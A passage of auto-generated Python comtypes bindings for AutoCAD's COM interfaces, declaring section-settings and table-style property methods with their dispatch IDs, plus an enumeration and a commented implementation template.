HRESULT, 'IntersectionFillVisible',\n ( ['in'], VARIANT_BOOL, 'pVal' )),\n COMMETHOD([dispid(72), 'propget'], HRESULT, 'IntersectionFillHatchPatternType',\n ( ['out', 'retval'], POINTER(AcPatternType), 'pVal' )),\n COMMETHOD([dispid(72), 'propput'], HRESULT, 'IntersectionFillHatchPatternType',\n ( ['in'], AcPatternType, 'pVal' )),\n COMMETHOD([dispid(73), 'propget'], HRESULT, 'IntersectionFillHatchPatternName',\n ( ['out', 'retval'], POINTER(BSTR), 'pVal' )),\n COMMETHOD([dispid(73), 'propput'], HRESULT, 'IntersectionFillHatchPatternName',\n ( ['in'], BSTR, 'pVal' )),\n COMMETHOD([dispid(74), 'propget'], HRESULT, 'IntersectionFillHatchAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'pVal' )),\n COMMETHOD([dispid(74), 'propput'], HRESULT, 'IntersectionFillHatchAngle',\n ( ['in'], ACAD_ANGLE, 'pVal' )),\n COMMETHOD([dispid(75), 'propget'], HRESULT, 'IntersectionFillHatchScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'pVal' )),\n COMMETHOD([dispid(75), 'propput'], HRESULT, 'IntersectionFillHatchScale',\n ( ['in'], ACAD_NOUNITS, 'pVal' )),\n COMMETHOD([dispid(76), 'propget'], HRESULT, 'IntersectionFillHatchSpacing',\n ( ['out', 'retval'], POINTER(c_double), 'pVal' )),\n COMMETHOD([dispid(76), 'propput'], HRESULT, 'IntersectionFillHatchSpacing',\n ( ['in'], c_double, 'pVal' )),\n COMMETHOD([dispid(77), 'propget'], HRESULT, 'IntersectionFillColor',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(77), 'propput'], HRESULT, 'IntersectionFillColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(78), 'propget'], HRESULT, 'IntersectionFillLayer',\n ( ['out', 'retval'], POINTER(BSTR), 'Layer' )),\n COMMETHOD([dispid(78), 'propput'], HRESULT, 'IntersectionFillLayer',\n ( ['in'], BSTR, 'Layer' )),\n COMMETHOD([dispid(79), 'propget'], HRESULT, 'IntersectionFillLinetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(79), 'propput'], HRESULT, 'IntersectionFillLinetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(80), 'propget'], HRESULT, 'IntersectionFillLinetypeScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ltScale' )),\n COMMETHOD([dispid(80), 'propput'], HRESULT, 'IntersectionFillLinetypeScale',\n ( ['in'], ACAD_NOUNITS, 'ltScale' )),\n COMMETHOD([dispid(81), 'propget'], HRESULT, 'IntersectionFillPlotStyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'plotStyle' )),\n COMMETHOD([dispid(81), 'propput'], HRESULT, 'IntersectionFillPlotStyleName',\n ( ['in'], BSTR, 'plotStyle' )),\n COMMETHOD([dispid(82), 'propget'], HRESULT, 'IntersectionFillLineweight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'Lineweight' )),\n COMMETHOD([dispid(82), 'propput'], HRESULT, 'IntersectionFillLineweight',\n ( ['in'], ACAD_LWEIGHT, 'Lineweight' )),\n COMMETHOD([dispid(83), 'propget'], HRESULT, 'IntersectionFillFaceTransparency',\n ( ['out', 'retval'], POINTER(c_int), 'pVal' )),\n COMMETHOD([dispid(83), 'propput'], HRESULT, 'IntersectionFillFaceTransparency',\n ( ['in'], c_int, 'pVal' )),\n COMMETHOD([dispid(91), 'propget'], HRESULT, 'BackgroundLinesVisible',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(91), 'propput'], HRESULT, 'BackgroundLinesVisible',\n ( ['in'], VARIANT_BOOL, 'pVal' )),\n COMMETHOD([dispid(92), 'propget'], HRESULT, 'BackgroundLinesHiddenLine',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(92), 'propput'], HRESULT, 'BackgroundLinesHiddenLine',\n ( ['in'], VARIANT_BOOL, 'pVal' )),\n COMMETHOD([dispid(93), 'propget'], HRESULT, 'BackgroundLinesColor',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(93), 'propput'], HRESULT, 'BackgroundLinesColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(94), 'propget'], HRESULT, 'BackgroundLinesLayer',\n ( ['out', 'retval'], POINTER(BSTR), 'Layer' )),\n COMMETHOD([dispid(94), 'propput'], HRESULT, 'BackgroundLinesLayer',\n ( ['in'], BSTR, 'Layer' )),\n COMMETHOD([dispid(95), 'propget'], HRESULT, 'BackgroundLinesLinetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(95), 'propput'], HRESULT, 'BackgroundLinesLinetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(96), 'propget'], HRESULT, 'BackgroundLinesLinetypeScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ltScale' )),\n COMMETHOD([dispid(96), 'propput'], HRESULT, 'BackgroundLinesLinetypeScale',\n ( ['in'], ACAD_NOUNITS, 'ltScale' )),\n COMMETHOD([dispid(97), 'propget'], HRESULT, 'BackgroundLinesPlotStyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'plotStyle' )),\n COMMETHOD([dispid(97), 'propput'], HRESULT, 'BackgroundLinesPlotStyleName',\n ( ['in'], BSTR, 'plotStyle' )),\n COMMETHOD([dispid(98), 'propget'], HRESULT, 'BackgroundLinesLineweight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'Lineweight' )),\n COMMETHOD([dispid(98), 'propput'], HRESULT, 'BackgroundLinesLineweight',\n ( ['in'], ACAD_LWEIGHT, 'Lineweight' )),\n COMMETHOD([dispid(111), 'propget'], HRESULT, 'ForegroundLinesVisible',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(111), 'propput'], HRESULT, 'ForegroundLinesVisible',\n ( ['in'], VARIANT_BOOL, 'pVal' )),\n COMMETHOD([dispid(112), 'propget'], HRESULT, 'ForegroundLinesHiddenLine',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(112), 'propput'], HRESULT, 'ForegroundLinesHiddenLine',\n ( ['in'], VARIANT_BOOL, 'pVal' )),\n COMMETHOD([dispid(113), 'propget'], HRESULT, 'ForegroundLinesColor',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(113), 'propput'], HRESULT, 'ForegroundLinesColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(114), 'propget'], HRESULT, 'ForegroundLinesLayer',\n ( ['out', 'retval'], POINTER(BSTR), 'Layer' )),\n COMMETHOD([dispid(114), 'propput'], HRESULT, 'ForegroundLinesLayer',\n ( ['in'], BSTR, 'Layer' )),\n COMMETHOD([dispid(115), 'propget'], HRESULT, 'ForegroundLinesLinetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(115), 'propput'], HRESULT, 'ForegroundLinesLinetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(116), 'propget'], HRESULT, 'ForegroundLinesLinetypeScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ltScale' )),\n COMMETHOD([dispid(116), 'propput'], HRESULT, 'ForegroundLinesLinetypeScale',\n ( ['in'], ACAD_NOUNITS, 'ltScale' )),\n COMMETHOD([dispid(117), 'propget'], HRESULT, 'ForegroundLinesPlotStyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'plotStyle' )),\n COMMETHOD([dispid(117), 'propput'], HRESULT, 'ForegroundLinesPlotStyleName',\n ( ['in'], BSTR, 'plotStyle' )),\n COMMETHOD([dispid(118), 'propget'], HRESULT, 'ForegroundLinesLineweight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'Lineweight' )),\n COMMETHOD([dispid(118), 'propput'], HRESULT, 'ForegroundLinesLineweight',\n ( ['in'], ACAD_LWEIGHT, 'Lineweight' )),\n COMMETHOD([dispid(119), 'propget'], HRESULT, 'ForegroundLinesFaceTransparency',\n ( ['out', 'retval'], POINTER(c_int), 'pVal' )),\n COMMETHOD([dispid(119), 'propput'], HRESULT, 'ForegroundLinesFaceTransparency',\n ( ['in'], c_int, 'pVal' )),\n COMMETHOD([dispid(120), 'propget'], HRESULT, 'ForegroundLinesEdgeTransparency',\n ( ['out', 'retval'], POINTER(c_int), 'pVal' )),\n COMMETHOD([dispid(120), 'propput'], HRESULT, 'ForegroundLinesEdgeTransparency',\n ( ['in'], c_int, 'pVal' )),\n COMMETHOD([dispid(131), 'propget'], HRESULT, 'CurveTangencyLinesVisible',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(131), 'propput'], HRESULT, 'CurveTangencyLinesVisible',\n ( ['in'], VARIANT_BOOL, 'pVal' )),\n COMMETHOD([dispid(132), 'propget'], HRESULT, 'CurveTangencyLinesColor',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(132), 'propput'], HRESULT, 'CurveTangencyLinesColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(133), 'propget'], HRESULT, 'CurveTangencyLinesLayer',\n ( ['out', 'retval'], POINTER(BSTR), 'Layer' )),\n COMMETHOD([dispid(133), 'propput'], HRESULT, 'CurveTangencyLinesLayer',\n ( ['in'], BSTR, 'Layer' )),\n COMMETHOD([dispid(134), 'propget'], HRESULT, 'CurveTangencyLinesLinetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(134), 'propput'], HRESULT, 'CurveTangencyLinesLinetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(135), 'propget'], HRESULT, 'CurveTangencyLinesLinetypeScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ltScale' )),\n COMMETHOD([dispid(135), 'propput'], HRESULT, 'CurveTangencyLinesLinetypeScale',\n ( ['in'], ACAD_NOUNITS, 'ltScale' )),\n COMMETHOD([dispid(136), 'propget'], HRESULT, 'CurveTangencyLinesPlotStyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'plotStyle' )),\n COMMETHOD([dispid(136), 'propput'], HRESULT, 'CurveTangencyLinesPlotStyleName',\n ( ['in'], BSTR, 'plotStyle' )),\n COMMETHOD([dispid(137), 'propget'], HRESULT, 'CurveTangencyLinesLineweight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'Lineweight' )),\n COMMETHOD([dispid(137), 'propput'], HRESULT, 'CurveTangencyLinesLineweight',\n ( ['in'], ACAD_LWEIGHT, 'Lineweight' )),\n]\n################################################################\n## code template for IAcadSectionTypeSettings implementation\n##class IAcadSectionTypeSettings_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## GenerationOptions = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## SourceObjects = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## DestinationBlock = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## DestinationFile = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pColor\n## def _set(self, pColor):\n## '-no docstring-'\n## IntersectionBoundaryColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Layer\n## def _set(self, Layer):\n## '-no docstring-'\n## IntersectionBoundaryLayer = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## IntersectionBoundaryLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ltScale\n## def _set(self, ltScale):\n## '-no docstring-'\n## IntersectionBoundaryLinetypeScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return plotStyle\n## def _set(self, plotStyle):\n## '-no docstring-'\n## IntersectionBoundaryPlotStyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Lineweight\n## def _set(self, Lineweight):\n## '-no docstring-'\n## IntersectionBoundaryLineweight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## IntersectionBoundaryDivisionLines = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## IntersectionFillVisible = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## IntersectionFillHatchPatternType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## IntersectionFillHatchPatternName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## IntersectionFillHatchAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## IntersectionFillHatchScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## IntersectionFillHatchSpacing = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pColor\n## def _set(self, pColor):\n## '-no docstring-'\n## IntersectionFillColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Layer\n## def _set(self, Layer):\n## '-no docstring-'\n## IntersectionFillLayer = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## IntersectionFillLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ltScale\n## def _set(self, ltScale):\n## '-no docstring-'\n## IntersectionFillLinetypeScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return plotStyle\n## def _set(self, plotStyle):\n## '-no docstring-'\n## IntersectionFillPlotStyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Lineweight\n## def _set(self, Lineweight):\n## '-no docstring-'\n## IntersectionFillLineweight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## IntersectionFillFaceTransparency = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## BackgroundLinesVisible = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## BackgroundLinesHiddenLine = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pColor\n## def _set(self, pColor):\n## '-no docstring-'\n## BackgroundLinesColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Layer\n## def _set(self, Layer):\n## '-no docstring-'\n## BackgroundLinesLayer = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## BackgroundLinesLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ltScale\n## def _set(self, ltScale):\n## '-no docstring-'\n## BackgroundLinesLinetypeScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return plotStyle\n## def _set(self, plotStyle):\n## '-no docstring-'\n## BackgroundLinesPlotStyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Lineweight\n## def _set(self, Lineweight):\n## '-no docstring-'\n## BackgroundLinesLineweight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## ForegroundLinesVisible = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## ForegroundLinesHiddenLine = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pColor\n## def _set(self, pColor):\n## '-no docstring-'\n## ForegroundLinesColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Layer\n## def _set(self, Layer):\n## '-no docstring-'\n## ForegroundLinesLayer = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## ForegroundLinesLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ltScale\n## def _set(self, ltScale):\n## '-no docstring-'\n## ForegroundLinesLinetypeScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return plotStyle\n## def _set(self, plotStyle):\n## '-no docstring-'\n## ForegroundLinesPlotStyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Lineweight\n## def _set(self, Lineweight):\n## '-no docstring-'\n## ForegroundLinesLineweight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## ForegroundLinesFaceTransparency = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## ForegroundLinesEdgeTransparency = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## CurveTangencyLinesVisible = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pColor\n## def _set(self, pColor):\n## '-no docstring-'\n## CurveTangencyLinesColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Layer\n## def _set(self, Layer):\n## '-no docstring-'\n## CurveTangencyLinesLayer = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## CurveTangencyLinesLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ltScale\n## def _set(self, ltScale):\n## '-no docstring-'\n## CurveTangencyLinesLinetypeScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return plotStyle\n## def _set(self, plotStyle):\n## '-no docstring-'\n## CurveTangencyLinesPlotStyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Lineweight\n## def _set(self, Lineweight):\n## '-no docstring-'\n## CurveTangencyLinesLineweight = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcMergeCellStyleOption'\nacMergeCellStyleNone = 0\nacMergeCellStyleCopyDuplicates = 1\nacMergeCellStyleOverwriteDuplicates = 2\nacMergeCellStyleConvertDuplicatesToOverrides = 4\nacMergeCellStyleIgnoreNewStyles = 8\nAcMergeCellStyleOption = c_int # enum\nIAcadTableStyle._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrValue' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'bstrValue' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Description',\n ( ['out', 'retval'], POINTER(BSTR), 'bstr' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Description',\n ( ['in'], BSTR, 'bstr' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'BitFlags',\n ( ['out', 'retval'], POINTER(c_int), 'bitFlag' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'BitFlags',\n ( ['in'], c_int, 'bitFlag' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'FlowDirection',\n ( ['out', 'retval'], POINTER(AcTableDirection), 'pFlow' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'FlowDirection',\n ( ['in'], AcTableDirection, 'pFlow' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'HorzCellMargin',\n ( ['out', 'retval'], POINTER(c_double), 'dHorzCellMargin' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'HorzCellMargin',\n ( ['in'], c_double, 'dHorzCellMargin' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'VertCellMargin',\n ( ['out', 'retval'], POINTER(c_double), 'dVertCellMargin' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'VertCellMargin',\n ( ['in'], c_double, 'dVertCellMargin' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'TitleSuppressed',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'TitleSuppressed',\n ( ['in'], VARIANT_BOOL, 'bValue' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'HeaderSuppressed',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'HeaderSuppressed',\n ( ['in'], VARIANT_BOOL, 'bValue' )),\n COMMETHOD([dispid(9)], HRESULT, 'GetTextStyle',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(10)], HRESULT, 'SetTextStyle',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(11)], HRESULT, 'GetTextHeight',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(c_double), 'pTextHeight' )),\n COMMETHOD([dispid(12)], HRESULT, 'SetTextHeight',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], c_double, 'TextHeight' )),\n COMMETHOD([dispid(13)], HRESULT, 'GetAlignment',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(AcCellAlignment), 'pCellAlignment' )),\n COMMETHOD([dispid(14)], HRESULT, 'SetAlignment',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], AcCellAlignment, 'cellAlignment' )),\n COMMETHOD([dispid(15)], HRESULT, 'GetColor',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(16)], HRESULT, 'SetColor',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(17)], HRESULT, 'GetBackgroundColor',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(18)], HRESULT, 'SetBackgroundColor',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(19)], HRESULT, 'GetBackgroundColorNone',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(20)], HRESULT, 'SetBackgroundColorNone',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(21)], HRESULT, 'GetGridLineWeight',\n ( ['in'], AcGridLineType, 'gridLineType' ),\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'Lineweight' )),\n COMMETHOD([dispid(22)], HRESULT, 'SetGridLineWeight',\n ( ['in'], c_int, 'gridLineTypes' ),\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], ACAD_LWEIGHT, 'Lineweight' )),\n COMMETHOD([dispid(23)], HRESULT, 'GetGridColor',\n ( ['in'], AcGridLineType, 'gridLineType' ),\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(24)], HRESULT, 'SetGridColor',\n ( ['in'], c_int, 'gridLineTypes' ),\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(25)], HRESULT, 'GetGridVisibility',\n ( ['in'], AcGridLineType, 'gridLineType' ),\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(26)], HRESULT, 'SetGridVisibility',\n ( ['in'], c_int, 'gridLineTypes' ),\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], VARIANT_BOOL, 'bValue' )),\n COMMETHOD([dispid(27)], HRESULT, 'GetDataType',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out'], POINTER(AcValueDataType), 'pDataType' ),\n ( ['out'], POINTER(AcValueUnitType), 'pUnitType' )),\n COMMETHOD([dispid(28)], HRESULT, 'SetDataType',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], AcValueDataType, 'nDataType' ),\n ( ['in'], AcValueUnitType, 'nUnitType' )),\n COMMETHOD([dispid(29)], HRESULT, 'GetFormat',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(BSTR), 'pVal' )),\n COMMETHOD([dispid(30)], HRESULT, 'SetFormat',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], BSTR, 'val' )),\n COMMETHOD([dispid(31)], HRESULT, 'CreateCellStyle',\n ( ['in'], BSTR, 'bstrCellStyle' )),\n COMMETHOD([dispid(32)], HRESULT, 'CreateCellStyleFromStyle',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], BSTR, 'bstrSourceCellStyle' )),\n COMMETHOD([dispid(33)], HRESULT, 'RenameCellStyle',\n ( ['in'], BSTR, 'bstrOldName' ),\n ( ['in'], BSTR, 'bstrNewName' )),\n COMMETHOD([dispid(34)], HRESULT, 'DeleteCellStyle',\n ( ['in'], BSTR, 'bstrCellStyle' )),\n COMMETHOD([dispid(35)], HRESULT, 'GetUniqueCellStyleName',\n ( ['in'], BSTR, 'pszBaseName' ),\n ( ['out', 'retval'], POINTER(BSTR), 'pbstrUniqueName' )),\n COMMETHOD([dispid(36)], HRESULT, 'GetIsCellStyleInUse',\n ( ['in'], BSTR, 'pszCellStyle' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(37), 'propget'], HRESULT, 'NumCellStyles',\n ( ['out', 'retval'], POINTER(c_int), 'NumCellStyles' )),\n COMMETHOD([dispid(38)], HRESULT, 'GetCellStyles',\n ( ['in'], POINTER(VARIANT), 'cellStylesArray' )),\n COMMETHOD([dispid(39)], HRESULT, 'GetTextStyleId',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['out', 'retval'], POINTER(LONG_PTR), 'pVal' )),\n COMMETHOD([dispid(40)], HRESULT, 'SetTextStyleId',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], LONG_PTR, 'val' )),\n COMMETHOD([dispid(41)], HRESULT, 'GetTextHeight2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['out', 'retval'], POINTER(c_double), 'pHeight' )),\n COMMETHOD([dispid(42)], HRESULT, 'SetTextHeight2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(43)], HRESULT, 'GetAlignment2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['out', 'retval'], POINTER(AcCellAlignment), 'pCellAlignment' )),\n COMMETHOD([dispid(44)], HRESULT, 'SetAlignment2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], AcCellAlignment, 'cellAlignment' )),\n COMMETHOD([dispid(45)], HRESULT, 'GetColor2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'color' )),\n COMMETHOD([dispid(46)], HRESULT, 'SetColor2',\n ( ['in'], BSTR, 'bstrCellStyle' ),\n ( ['in'], 